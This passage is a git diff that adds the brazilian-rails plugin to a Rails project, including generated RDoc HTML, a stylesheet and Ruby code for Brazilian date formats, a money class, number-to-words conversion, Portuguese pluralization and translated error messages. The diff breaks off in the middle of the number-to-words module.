    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/inflector_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/inflector_portuguese_rb.html new file mode 100644 index 0000000..0e8f309 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/inflector_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: inflector_portuguese.rb + + + + + + + + + + +
    +

    inflector_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/inflector_portuguese.rb +
    Last Update:Thu Sep 27 14:24:11 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/nil_class_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/nil_class_rb.html new file mode 100644 index 0000000..547b991 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/nil_class_rb.html @@ -0,0 +1,101 @@ + + + + + + File: nil_class.rb + + + + + + + + + + +
    +

    nil_class.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/nil_class.rb +
    Last Update:Tue Sep 25 13:30:14 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/number_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/number_portuguese_rb.html new file mode 100644 index 0000000..767d96d --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/number_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: number_portuguese.rb + + + + + + + + + + +
    +

    number_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/number_portuguese.rb +
    Last Update:Thu Sep 27 12:25:07 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/string_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/string_portuguese_rb.html new file mode 100644 index 0000000..bfbc6a1 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/string_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: string_portuguese.rb + + + + + + + + + + +
    +

    string_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/string_portuguese.rb +
    Last Update:Thu Sep 27 15:07:48 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/time_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/time_portuguese_rb.html new file mode 100644 index 0000000..6e770cf --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/time_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: time_portuguese.rb + + + + + + + + + + +
    +

    time_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/time_portuguese.rb +
    Last Update:Thu Sep 27 15:02:53 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/fr_class_index.html b/vendor/plugins/brazilian-rails/docs/fr_class_index.html new file mode 100644 index 0000000..abc9338 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/fr_class_index.html @@ -0,0 +1,45 @@ + + + + + + + + Classes + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/fr_file_index.html b/vendor/plugins/brazilian-rails/docs/fr_file_index.html new file mode 100644 index 0000000..873a151 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/fr_file_index.html @@ -0,0 +1,37 @@ + + + + + + + + Files + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/fr_method_index.html b/vendor/plugins/brazilian-rails/docs/fr_method_index.html new file mode 100644 index 0000000..05ea747 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/fr_method_index.html @@ -0,0 +1,71 @@ + + + + + + + + Methods + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/index.html b/vendor/plugins/brazilian-rails/docs/index.html new file mode 100644 index 0000000..97fbf05 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/index.html @@ -0,0 +1,24 @@ + + + + + + + Brazilian Rails Plugin Documentation + + + + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/rdoc-style.css b/vendor/plugins/brazilian-rails/docs/rdoc-style.css new file mode 100644 index 0000000..fbf7326 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/rdoc-style.css @@ -0,0 +1,208 @@ + +body { + font-family: Verdana,Arial,Helvetica,sans-serif; + font-size: 90%; + margin: 0; + margin-left: 40px; + padding: 0; + background: white; +} + +h1,h2,h3,h4 { margin: 0; color: #efefef; background: transparent; } +h1 { font-size: 150%; } +h2,h3,h4 { margin-top: 1em; } + +a { background: #eef; color: #039; text-decoration: none; } +a:hover { background: #039; color: #eef; } + +/* Override the base stylesheet's Anchor inside a table cell */ +td > a { + background: transparent; + color: #039; + text-decoration: none; +} + +/* and inside a section title */ +.section-title > a { + background: transparent; + color: #eee; + text-decoration: none; +} + +/* === Structural elements =================================== */ + +div#index { + margin: 0; + margin-left: -40px; + padding: 0; + font-size: 90%; +} + + +div#index a { + margin-left: 0.7em; +} + +div#index .section-bar { + margin-left: 0px; + padding-left: 0.7em; + background: #ccc; + font-size: small; +} + + +div#classHeader, div#fileHeader { + width: auto; + color: white; + padding: 0.5em 1.5em 0.5em 1.5em; + margin: 0; + margin-left: -40px; + border-bottom: 3px solid #006; +} + +div#classHeader a, div#fileHeader a { + background: inherit; + color: white; +} + +div#classHeader td, div#fileHeader td { + background: inherit; + color: white; +} + + +div#fileHeader { + background: #057; +} + +div#classHeader { + background: #048; +} + + +.class-name-in-header { + font-size: 180%; + font-weight: bold; +} + + +div#bodyContent { + padding: 0 1.5em 0 1.5em; +} + +div#description { + padding: 0.5em 1.5em; + background: #efefef; + border: 1px dotted #999; +} + +div#description h1,h2,h3,h4,h5,h6 { + color: #125;; + background: transparent; +} + +div#validator-badges { + text-align: center; +} +div#validator-badges img { border: 0; } + +div#copyright { + color: #333; + background: #efefef; + font: 0.75em sans-serif; + margin-top: 5em; + margin-bottom: 0; + padding: 0.5em 2em; +} + + +/* === Classes =================================== */ + +table.header-table { + color: white; + font-size: small; +} + +.type-note { + font-size: small; + color: #DEDEDE; +} + +.xxsection-bar { + background: #eee; + color: #333; + padding: 3px; +} + +.section-bar { + color: #333; + border-bottom: 1px solid #999; + margin-left: -20px; +} + + +.section-title { + background: #79a; + color: #eee; + padding: 3px; + margin-top: 2em; + margin-left: -30px; + border: 1px solid #999; +} + +.top-aligned-row { vertical-align: top } +.bottom-aligned-row { vertical-align: bottom } + +/* --- Context section classes ----------------------- */ + +.context-row { } +.context-item-name { font-family: monospace; font-weight: bold; color: black; } +.context-item-value { font-size: small; color: #448; } +.context-item-desc { color: #333; padding-left: 2em; } + +/* --- Method classes -------------------------- */ +.method-detail { + background: #efefef; + padding: 0; + margin-top: 0.5em; + margin-bottom: 1em; + border: 1px dotted #ccc; +} +.method-heading { + color: black; + background: #ccc; + border-bottom: 1px solid #666; + padding: 0.2em 0.5em 0 0.5em; +} +.method-signature { color: black; background: inherit; } +.method-name { font-weight: bold; } +.method-args { font-style: italic; } +.method-description { padding: 0 0.5em 0 0.5em; } + +/* --- Source code sections -------------------- */ + +a.source-toggle { font-size: 90%; } +div.method-source-code { + background: #262626; + color: #ffdead; + margin: 1em; + padding: 0.5em; + border: 1px dashed #999; + overflow: hidden; +} + +div.method-source-code pre { color: #ffdead; overflow: hidden; } + +/* --- Ruby keyword styles --------------------- */ + +.standalone-code { background: #221111; color: #ffdead; overflow: hidden; } + +.ruby-constant { color: #7fffd4; background: transparent; } +.ruby-keyword { color: #00ffff; background: transparent; } +.ruby-ivar { color: #eedd82; background: transparent; } +.ruby-operator { color: #00ffee; background: transparent; } +.ruby-identifier { color: #ffdead; background: transparent; } +.ruby-node { color: #ffa07a; background: transparent; } +.ruby-comment { color: #b22222; font-weight: bold; background: transparent; } +.ruby-regexp { color: #ffa07a; background: transparent; } +.ruby-value { color: #7fffd4; background: transparent; } \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/start.html b/vendor/plugins/brazilian-rails/docs/start.html new file mode 100644 index 0000000..a894c57 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/start.html @@ -0,0 +1,39 @@ +Para maiores exemplos olhe os testes.
    +
    +Para usar a as regras de plural em português basta adicionar a linha acima no seu enviroment.rb +
    +To use the inflector in portuguese add this line to your enviroment.rb +
    +require 'inflector_portuguese'
    +
    +"2007/01/02".to_date
    +"13/12/2007".to_date
    +"01-02-2007".to_date
    +
    +"01/02/2007".to_date.to_s returns "2007-02-01"
    +
    +"13/12/2007".to_date.to_s_br returns "13/12/2007"
    +
    +Date.valid?("2007/01/02") returns true
    +Date.valid?("13/12/2007") returns true
    +
    +Date.valid?("13/12/200A") returns false
    +Date.valid?("00/00/0000") returns false
    +Para ver os usos da parte de dinheiro recomendo olhar o arquivo dinheiro_test.
    +
    +
    +"832.to_extenso => #{832.to_extenso}"
    +"125623.to_extenso => #{125623.to_extenso}"
    +"1_968_854_823.to_extenso => #{1_968_854_823.to_extenso}"
    +"45_233_968_854_823.to_extenso => #{45_233_968_854_823.to_extenso}"
    +
    +"1230.to_extenso_real => #{1230.to_extenso_real}"
    +"1230.95.to_extenso_real => #{1230.95.to_extenso_real}"
    +"1.50.to_extenso_real => #{1.50.to_extenso_real}"
    +"832.01.to_extenso_real => #{832.01.to_extenso_real}"
    +
    +
    +
    +'maria de andrade dos santos e silva'.nome_proprio() => 'Maria de Andrade dos Santos e Silva'
    +'este texto está com acentuação'.remover_acentos => 'este texto esta com acentuacao'
    +
    \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/init.rb b/vendor/plugins/brazilian-rails/init.rb new file mode 100644 index 0000000..40e0f7d --- /dev/null +++ b/vendor/plugins/brazilian-rails/init.rb @@ -0,0 +1,27 @@ +require 'active_record_portuguese' +require 'action_view_portuguese' +require 'date_portuguese' +require 'time_portuguese' +require 'dinheiro' +require 'dinheiro_util' +require 'excecoes' +require 'nil_class' +require 'number_portuguese' +require 'string_portuguese' + +Numeric.send(:include, DinheiroUtil) +Numeric.send(:include, ExtensoReal) +String.send(:include, DinheiroUtil) +String.send(:include, StringPortuguese) + +old_verbose = $VERBOSE +$VERBOSE = nil +[Time, Date].each do |clazz| + eval "#{clazz}::MONTHNAMES = [nil] + %w(Janeiro Fevereiro Marco Abril Maio Junho Julho Agosto Setembro Outubro Novembro Dezembro)" + eval "#{clazz}::DAYNAMES = %w(Domingo Segunda-Feira Terca-Feira Quarta-Feira Quinta-Feira Sexta-Feira Sabado)" + eval "#{clazz}::ABBR_MONTHNAMES = [nil] + %w(Jan Fev Mar Abr Mai Jun Jul Ago Set Out Nov Dez)" + eval "#{clazz}::ABBR_DAYNAMES = %w(Dom Seg Ter Qua Qui Sex Sab)" +end +$VERBOSE = old_verbose + + diff --git a/vendor/plugins/brazilian-rails/install.rb b/vendor/plugins/brazilian-rails/install.rb new file mode 100644 index 0000000..f7732d3 --- /dev/null +++ b/vendor/plugins/brazilian-rails/install.rb @@ -0,0 +1 @@ +# Install hook code here diff --git a/vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb b/vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb new file mode 100644 index 0000000..cd6241b --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb @@ -0,0 +1,64 @@ +module ActionView::Helpers::ActiveRecordHelper + # Traduz as mensagens de erro do ActiveRecord + def error_messages_for(*params) + options = params.last.is_a?(Hash) ? params.pop.symbolize_keys : {} + objects = params.collect { |object_name| instance_variable_get('@'+object_name.to_s()) } + objects.compact! + count = objects.inject(0) {|sum, object| sum + object.errors.count } + unless count.zero? + html = {} + [:id, :class].each do |key| + if options.include?(key) + value = options[key] + html[key] = value unless value.blank? + else + html[key] = 'errorExplanation' + end + end + header_message = "#{pluralize(count, 'erro')} para #{(options[:object_name] || params.first).to_s.gsub('_', ' ')}" + error_messages = objects.map { |object| object.errors.full_messages.map {|msg| content_tag(:li, msg) } } + content_tag(:div, + content_tag(options[:header_tag] || :h2, header_message) << + content_tag(:p, 'Foram detectados os seguintes erros:') << + content_tag(:ul, error_messages), + html + ) + else + '' + end + end +end + +module ActionView::Helpers::DateHelper + # Traduz o método distance_of_time_in_words para retornar esse valor em português + # + def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false) + from_time = from_time.to_time if from_time.respond_to?(:to_time) + to_time = to_time.to_time if to_time.respond_to?(:to_time) + distance_in_minutes = (((to_time - from_time).abs)/60).round + distance_in_seconds = ((to_time - from_time).abs).round + + case distance_in_minutes + when 0..1 + return (distance_in_minutes == 0) ? 'menos de um minuto' : '1 minuto' unless include_seconds + case distance_in_seconds + when 0..4 then 'menos de 5 segundos' + when 5..9 then 'menos de 10 segundos' + when 10..19 then 'menos de 20 segundos' + when 20..39 then 'meio minuto' + when 40..59 then 'menos de um minuto' + else '1 minuto' + end + + when 2..44 then "#{distance_in_minutes} minutos" + when 45..89 then 'aproximadamente 1 hora' + when 90..1439 then "aproximadamente #{(distance_in_minutes.to_f / 60.0).round} horas" + when 1440..2879 then '1 dia' + when 2880..43199 then "#{(distance_in_minutes / 1440).round} dias" + when 43200..86399 then 'aproximadamente 1 mês' + when 86400..525959 then "#{(distance_in_minutes / 43200).round} meses" + when 525960..1051919 then 'aproximadamente 1 ano' + else "mais de #{(distance_in_minutes / 525960).round} anos" + end + end +end diff --git a/vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb b/vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb new file mode 100644 index 0000000..c911097 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb @@ -0,0 +1,19 @@ +module ActiveRecord + # Traduz as mensagens de erro do ActiveRecord + class Errors + @@default_error_messages = { + :inclusion => "não está incluído na lista", + :exclusion => "está reservado", + :invalid => "é inválido.", + :confirmation => "não corresponde à confirmação", + :accepted => "deve ser aceito", + :empty => "não pode estar vazio", + :blank => "não pode estar em branco", + :too_long => "muito longo (máximo %d caracteres)", + :too_short => "muito curto (mínimo %d caracteres)", + :wrong_length => "de comprimento errado (deveria ter %d caracteres)", + :taken => "já está em uso", + :not_a_number => "não é um número" + } + end +end \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/lib/date_portuguese.rb b/vendor/plugins/brazilian-rails/lib/date_portuguese.rb new file mode 100644 index 0000000..0a3009f --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/date_portuguese.rb @@ -0,0 +1,40 @@ +module ActiveSupport::CoreExtensions::String::Conversions + # Cria a data no padrao brasileiro e permanece aceitando no formato tradicional. + # + # Exemplo: + # "27/09/2007".to_date + def to_date + if /(\d{1,2})\W(\d{1,2})\W(\d{4})/ =~ self + ::Date.new($3.to_i, $2.to_i, $1.to_i) + else + ::Date.new(*ParseDate.parsedate(self)[0..2]) + end + end +end + +class Date + # Retorna a data no padrao brasileiro + # + # Exemplo: + # data = Date.new(2007, 9, 27) + # data.to_s_br ==> "27/09/2007" + def to_s_br + strftime("%d/%m/%Y") + end + + # Valida se uma string eh uma data valida + # + # Exemplo: + # Date.valid?('01/01/2007') ==> true + # Date.valid?('32/01/2007') ==> false + def self.valid?(date) + begin + date = date.to_date + Date.valid_civil?(date.year, date.month, date.day) + rescue + return false + end + true + end + +end diff --git a/vendor/plugins/brazilian-rails/lib/dinheiro.rb b/vendor/plugins/brazilian-rails/lib/dinheiro.rb new file mode 100644 index 0000000..36102a1 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/dinheiro.rb @@ -0,0 +1,243 @@ +class Dinheiro + + include Comparable + + attr_reader :quantia + + FORMATO_VALIDO_BR = /^([R|r]\$\s*)?(([+-]?\d{1,3}(\.?\d{3})*))?(\,\d{0,2})?$/ + FORMATO_VALIDO_EUA = /^([R|r]\$\s*)?(([+-]?\d{1,3}(\,?\d{3})*))?(\.\d{0,2})?$/ + SEPARADOR_MILHAR = "." + SEPARADOR_FRACIONARIO = "," + QUANTIDADE_DIGITOS = 3 + PRECISAO_DECIMAL = 100 + + def initialize(quantia) + self.quantia = quantia + end + + # Retorna o valor armazenado em string. + # + # Exemplo: + # 1000.to_s ==> '1.000,00' + def to_s + inteiro_com_milhar(parte_inteira) + parte_decimal + end + + # Compara com outro dinheiro se eh igual. + # + # Exemplo: + # um_real = Dinheiro.new(1) + # um_real == Dinheiro.new(1) ==> true + # um_real == Dinheiro.new(2) ==> false + def ==(outro_dinheiro) + outro_dinheiro = Dinheiro.new(outro_dinheiro) unless outro_dinheiro.kind_of?(Dinheiro) + @quantia == outro_dinheiro.quantia + end + + # Compara com outro dinheiro se eh maior ou menor. + # + # Exemplo: + # 1.real < 2.reais ==> true + # 1.real > 2.reais ==> false + # 2.real < 1.reais ==> false + # 2.real > 1.reais ==> true + def <=>(outro_dinheiro) + outro_dinheiro = Dinheiro.new(outro_dinheiro) unless outro_dinheiro.kind_of?(Dinheiro) + @quantia <=> outro_dinheiro.quantia + end + + # Retorna a adicao entre dinheiros. + def +(outro) + Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia + quantia_de(outro))) + end + + # Retorna a subtracao entre dinheiros. + def -(outro) + Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia - quantia_de(outro))) + end + + # Retorna a multiplicacao entre dinheiros. + def *(outro) + return Dinheiro.new(to_f * outro) unless outro.kind_of? Dinheiro + outro * to_f + end + + # Retorna a divisao entre dinheiros. + def /(outro) + raise DivisaPorNaoEscalarError unless outro.kind_of?(Numeric) + return @quantia/outro if outro == 0 + soma_parcial = Dinheiro.new(0) + parcelas = [] + (outro-1).times do + parcela = Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia/outro)) + parcelas << parcela + soma_parcial += parcela + end + parcelas << Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia - quantia_de(soma_parcial))) + end + + # Escreve o valor por extenso. + # + # Exemplo: + # 1.real.por_extenso ==> 'um real' + # (100.58).por_extenso ==> 'cem reais e cinquenta e oito centavos' + def por_extenso + (@quantia/100.0).por_extenso_em_reais + end + + # Alias para o metodo por_extenso. + alias_method :por_extenso_em_reais, :por_extenso + + # DEPRECATION WARNING: use por_extenso ou por_extenso_em_reais, pois este sera removido no proximo release. + def to_extenso + warn("DEPRECATION WARNING: use por_extenso ou por_extenso_em_reais, pois este sera removido no proximo release.") + self.por_extenso + end + + # Retorna um Float. + def to_f + to_s.gsub(',', '.').to_f + end + + def coerce(outro) + [ Dinheiro.new(outro), self ] + end + + # Retorna uma string formatada em valor monetario. + # + # Exemplo: + # Dinheiro.new(1).real ==> 'R$ 1,00' + # Dinheiro.new(-1).real ==> 'R$ -1,00' + def real + "R$ " + to_s + end + + # Retorna uma string formatada em valor monetario. + # + # Exemplo: + # Dinheiro.new(1).real ==> 'R$ 1,00' + # Dinheiro.new(-1).real ==> 'R$ (1,00)' + def real_contabil + "R$ " + contabil + end + + # Alias para real. + alias_method :reais, :real + + # Alias para real_contabil. + alias_method :reais_contabeis, :real_contabil + + # Retorna uma string formatada. + # + # Exemplo: + # Dinheiro.new(1).contabil ==> '1,00' + # Dinheiro.new(-1).contabil ==> '(1,00)' + def contabil + if @quantia >= 0 + to_s + else + "(" + to_s[1..-1] + ")" + end + end + + # Retorna um BigDecinal. + def valor_decimal + BigDecimal.new quantia_sem_separacao_milhares.gsub(',','.') + end + + private + def quantia_de(outro) + outro = outro.to_f if outro.kind_of?(BigDecimal) + return outro.quantia if outro.kind_of?(Dinheiro) + (outro * 100).round + end + + def transforma_em_string_que_represente_a_quantia(quantia) + if /^([+-]?)(\d)$/ =~ quantia.to_s + return "#{$1}0.0#{$2}" + end + /^([+-]?)(\d*)(\d\d)$/ =~ quantia.to_s + "#{$1}#{$2.to_i}.#{$3}" + end + + def quantia=(quantia) + raise DinheiroInvalidoError unless quantia_valida?(quantia) + quantia = quantia.to_f if quantia.kind_of?(BigDecimal) + @quantia = (quantia * 100).round if quantia.kind_of?(Numeric) + @quantia = extrai_quantia_como_inteiro(quantia) if quantia.kind_of?(String) + end + + def parte_inteira + quantia_sem_separacao_milhares[0,quantia_sem_separacao_milhares.length-QUANTIDADE_DIGITOS] + end + + def parte_decimal + quantia_sem_separacao_milhares[-QUANTIDADE_DIGITOS, QUANTIDADE_DIGITOS] + end + + def inteiro_com_milhar(inteiro) + return inteiro if quantidade_de_passos(inteiro) == 0 + resultado = "" + quantidade_de_passos(inteiro).times do |passo| + resultado = "." + inteiro[-QUANTIDADE_DIGITOS + passo * -QUANTIDADE_DIGITOS, QUANTIDADE_DIGITOS] + resultado + end + resultado = inteiro[0, digitos_que_sobraram(inteiro)] + resultado + resultado.gsub(/^(-?)\./, '\1') + end + + def quantia_sem_separacao_milhares + sprintf("%.2f", (@quantia.to_f / PRECISAO_DECIMAL)).gsub(SEPARADOR_MILHAR, SEPARADOR_FRACIONARIO) + end + + def quantidade_de_passos(inteiro) + resultado = inteiro.length / QUANTIDADE_DIGITOS + resultado = (resultado - 1) if inteiro.length % QUANTIDADE_DIGITOS == 0 + resultado + end + + def digitos_que_sobraram(inteiro) + inteiro.length - (quantidade_de_passos(inteiro) * QUANTIDADE_DIGITOS) + end + + def quantia_valida?(quantia) + return false if quantia.kind_of?(String) && !quantia_respeita_formato?(quantia) + quantia.kind_of?(String) || quantia.kind_of?(Numeric) + end + + def extrai_quantia_como_inteiro(quantia) + if FORMATO_VALIDO_BR =~ quantia + return sem_milhar($2, $5, '.') + end + if FORMATO_VALIDO_EUA =~ quantia + return sem_milhar($2, $5, ',') + end + end + + def sem_milhar(parte_inteira, parte_decimal, delimitador_de_milhar) + (inteiro(parte_inteira, delimitador_de_milhar) + decimal(parte_decimal)).to_i + end + + def inteiro(inteiro_com_separador_milhar, separador) + return inteiro_com_separador_milhar.gsub(separador, '') unless inteiro_com_separador_milhar.blank? + "" + end + + def decimal(parte_fracionaria) + unless parte_fracionaria.blank? + return sem_delimitador_decimal(parte_fracionaria) if parte_fracionaria.length == 3 + return sem_delimitador_decimal(parte_fracionaria) + "0" if parte_fracionaria.length == 2 + end + "00" + end + + def sem_delimitador_decimal(parte_fracionaria) + "#{parte_fracionaria}".gsub(/[.|,]/, '') + end + + + def quantia_respeita_formato?(quantia) + return true if FORMATO_VALIDO_BR.match(quantia) || FORMATO_VALIDO_EUA.match(quantia) + false + end + +end diff --git a/vendor/plugins/brazilian-rails/lib/dinheiro_util.rb b/vendor/plugins/brazilian-rails/lib/dinheiro_util.rb new file mode 100644 index 0000000..03ae401 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/dinheiro_util.rb @@ -0,0 +1,42 @@ +module DinheiroUtil + # Transforma numero em dinheiro + # + # Exemplo: + # 1.para_dinheiro.class ==> Dinheiro + def para_dinheiro + Dinheiro.new(self) + end + + # Alias para para_dinheiro + alias_method :reais, :para_dinheiro + + # Alias para para_dinheiro + alias_method :real, :para_dinheiro + + # Retorna string formatada com simbolo monetario + # + # Exemplo: + # 1.real_contabil ==> 'R$ 1,00' + # -1.real_contabil ==> 'R$ (1,00)' + def real_contabil + Dinheiro.new(self).real_contabil + end + + # Retorna string formatada com simbolo monetario + # + # Exemplo: + # 2.reais_contabeis ==> 'R$ 2,00' + # -2.reais_contabeis ==> 'R$ 2,00' + def reais_contabeis + Dinheiro.new(self).reais_contabeis + end + + # Retorna string formatada com simbolo monetario + # + # Exemplo: + # 1.contabil ==> '1,00' + # -1.contabil ==> '(1,00)' + def contabil + Dinheiro.new(self).contabil + end +end diff --git a/vendor/plugins/brazilian-rails/lib/excecoes.rb b/vendor/plugins/brazilian-rails/lib/excecoes.rb new file mode 100644 index 0000000..5c52d72 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/excecoes.rb @@ -0,0 +1,7 @@ +def cria_excecao(classe, mensagem) + eval "class #{classe}; def initialize; super('#{mensagem}'); end; end" +end + +cria_excecao("DinheiroInvalidoError < ArgumentError", "O valor deve estar preenchido e no formato correto. Ex.: 100.00 .") +cria_excecao("DivisaPorNaoEscalarError < ArgumentError", "So eh possivel dividir dinheiro por numeros.") + diff --git a/vendor/plugins/brazilian-rails/lib/inflector_portuguese.rb b/vendor/plugins/brazilian-rails/lib/inflector_portuguese.rb new file mode 100644 index 0000000..c7085a0 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/inflector_portuguese.rb @@ -0,0 +1,45 @@ +module Inflector + Inflector.inflections do |inflect| + inflect.plural /^([a-zA-z]*)r$/i, '\1res' + inflect.plural /^([a-zA-z]*)z$/i, '\1zes' + + inflect.plural /^([a-zA-z]*)al$/i, '\1ais' + inflect.plural /^([a-zA-z]*)el$/i, '\1eis' + inflect.plural /^([a-zA-z]*)ol$/i, '\1ois' + inflect.plural /^([a-zA-z]*)ul$/i, '\1uis' + + inflect.plural /^([a-zA-z]*)il$/i, '\1is' + + inflect.plural /^([a-zA-z]*)m$/i, '\1ns' + + inflect.plural /^([a-zA-z]*)([aeiou]s)$/i, '\1\2es' + + inflect.plural /^([a-zA-z]*)ão$/i, '\1ões' + + inflect.singular /^([a-zA-z]*)as$/i, '\1a' + inflect.singular /^([a-zA-z]*)es$/i, '\1e' + inflect.singular /^([a-zA-z]*)is$/i, '\1i' + inflect.singular /^([a-zA-z]*)os$/i, '\1o' + inflect.singular /^([a-zA-z]*)us$/i, '\1u' + + inflect.singular /^([a-zA-z]*)res$/i, '\1r' + inflect.singular /^([a-zA-z]*)zes$/i, '\1z' + + inflect.singular /^([a-zA-z]*)ais$/i, '\1al' + inflect.singular /^([a-zA-z]*)eis$/i, '\1el' + inflect.singular /^([a-zA-z]*)ois$/i, '\1ol' + inflect.singular /^([a-zA-z]*)uis$/i, '\1ul' + + inflect.singular /^([a-zA-z]*)ns$/i, '\1m' + inflect.singular /^([a-zA-z]*)ões$/i, '\1ão' + inflect.singular /^([a-zA-z]*)ães$/i, '\1ão' + inflect.singular /^([a-zA-z]*)ãos$/i, '\1ão' + + inflect.irregular 'cão', 'cães' + inflect.irregular 'pão', 'pães' + inflect.irregular 'mão', 'mãos' + inflect.irregular 'alemão', 'alemães' + + inflect.uncountable %w( tennis torax ) + end +end \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/lib/nil_class.rb b/vendor/plugins/brazilian-rails/lib/nil_class.rb new file mode 100644 index 0000000..01acc42 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/nil_class.rb @@ -0,0 +1,24 @@ +class NilClass + + def valor + "" + end + + def valor_contabil + "" + end + + def para_dinheiro + "" + end + + def reais + "" + end + + def real + "" + end + +end + diff --git a/vendor/plugins/brazilian-rails/lib/number_portuguese.rb b/vendor/plugins/brazilian-rails/lib/number_portuguese.rb new file mode 100644 index 0000000..db07bc4 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/number_portuguese.rb @@ -0,0 +1,158 @@ +module Extenso + @@unidade = { + 0 => "zero", + 1 => "um", + 2 => "dois", + 3 => "três", + 4 => "quatro", + 5 => "cinco", + 6 => "seis", + 7 => "sete", + 8 => "oito", + 9 => "nove" + } + @@dezena = { + 10 => "dez", + 11 => "onze", + 12 => "doze", + 13 => "treze", + 14 => "quatorze", + 15 => "quinze", + 16 => "dezesseis", + 17 => "dezessete", + 18 => "dezoito", + 19 => "dezenove", + 20 => "vinte", + 30 => "trinta", + 40 => "quarenta", + 50 => "cinquenta", + 60 => "sessenta", + 70 => "setenta", + 80 => "oitenta", + 90 => "noventa" } + @@centena = {100 => "cento", + 200 => "duzentos", + 300 => "trezentos", + 400 => "quatrocentos", + 500 => "quinhentos", + 600 => "seiscentos", + 700 => "setecentos", + 800 => "oitocentos", + 900 => "novecentos" } + + # Escreve o numero por extenso. + # + # Exemplo: + # 1.por_extenso ==> 'um' + # 100.por_extenso ==> 'cem' + # 158.por_extenso ==> 'cento e cinquenta e oito' + def por_extenso + Extenso.por_extenso(self) + end + + # DEPRECATION WARNING: use por_extenso, pois este sera removido no proximo release. + def to_extenso + warn('DEPRECATION WARNING: use por_extenso, pois este sera removido no proximo release.') + self.por_extenso + end + + # Escreve o numero por extenso. + # + # Exemplo: + # Extenso.por_extenso(1) ==> "um" + # Extenso.por_extenso(100) ==> "cem" + # Extenso.por_extenso(158) ==> "cento e cinquenta e oito" + def Extenso.por_extenso(numero) + n=numero.to_i.abs + return case n + when 0..9: @@unidade[n].to_s + when 10..19: @@dezena[n].to_s + when 20..99: + v=n % 10 + if v== 0 + @@dezena[n].to_s + else + "#{@@dezena[n-v]} e #{por_extenso(v)}" + end + when 100 + "cem" + when 101..999 + v=n % 100 + if v== 0 + @@centena[n].to_s + else + "#{@@centena[n-v]} e 